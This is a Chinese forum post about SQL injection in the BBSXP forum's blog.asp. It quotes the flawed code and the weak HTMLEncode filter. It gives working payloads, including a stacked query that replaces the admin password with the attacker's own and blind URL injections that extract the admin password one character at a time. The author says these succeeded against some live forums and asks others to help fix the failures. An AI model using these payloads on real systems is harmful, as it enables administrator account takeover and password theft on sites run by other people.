if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
看起来漏洞非常的大,ID变量只是简单的经过HTMLEncode过滤就放到了SQL语句中。在AC版中很容易构造union查询得到密码等敏感信息。可是在MSSQL中却不行,原因先不说,也许大家也知道。
可是问题来了,照常理,我们只需要构造多几个语句来执行update什么的危害也就够大了。
为此我构造
id=1 update clubconfig set adminpassword=(select userpass from [user] where username=0xXXXX(这里是我的用户名的十六进制,用以绕开单引号)) select * from [calendar]
这个句子在查询分析器里执行正常,可是提交到BBSXP的blog.asp时却出错了
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
于是检查14行出的代码,是这么写的:
rs.Open sql,Conn,1
对比上次的showforum.asp,发现showforum.asp是这么写的:
if PageCount<2 then
sql="select top "&pagesetup&" * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"
Set Rs=Conn.Execute(sql)
else
sql="select * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"
rs.Open sql,Conn,1
end if
如果我没有理解错的话,showforum.asp中,首先需要判断PageCount是否大于1页。(PageCount>2)
如果不大于的话,使用Set Rs=Conn.Execute(sql)执行。
否则使用rs.Open sql,Conn,1执行SQL语句。
这不是什么陷阱的问题了.HTMLEncode是在setup.asp中定义的,原型如下:
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"'","'")
fString=replace(fString," "," ")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
也就是一个用来过滤掉一些HTML字符的函数而已
要绕开它进行SQL 注射很容易.像上次ShowForum.asp就是这样的
这个问题还没解决,现在又遇到了个新问题. http://site/bbs/blog.asp?id=1%20and%20(select%20substring(adminpassword,1,1)%20from%20clubconfig)%20between%200x30%20and%200x5a
这是对blog.asp的SQL版利用方式.结果是,有些论坛可以成功,一位一位的暴出密码,而有些则出错
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/bbs/blog.asp,行 14
很是郁闷,个人感觉语句是一点问题也没有的
上次玩shwoforum.asp时是因为语句太长(感觉.因为改后抬密码的时候有32位,要分两次,具体的分析见本人发表在2005年5月的《黑客X档案》上的文章)而这次感觉不像~
因为换成一些简单的SQL语句是不出错的: http://site/bbs/blog.asp?id=1%20and%20exists%20(select%20today%20from%20clubconfig)
而在后面拼命的加 and 1=1 and 1=1
比如 http://site/bbs/blog.asp?id=1%20and%20exists%20(select%20today%20from%20clubconfig)%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1
有兴趣你还可以自己再加。
反正就是不出错
这又是一个问题,还是老话,希望大家一起来讨论一下个人论坛: http://www.xdxf.net
帖子60 精华2 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 查看详细资料TOP 少女暴富的隐秘(图)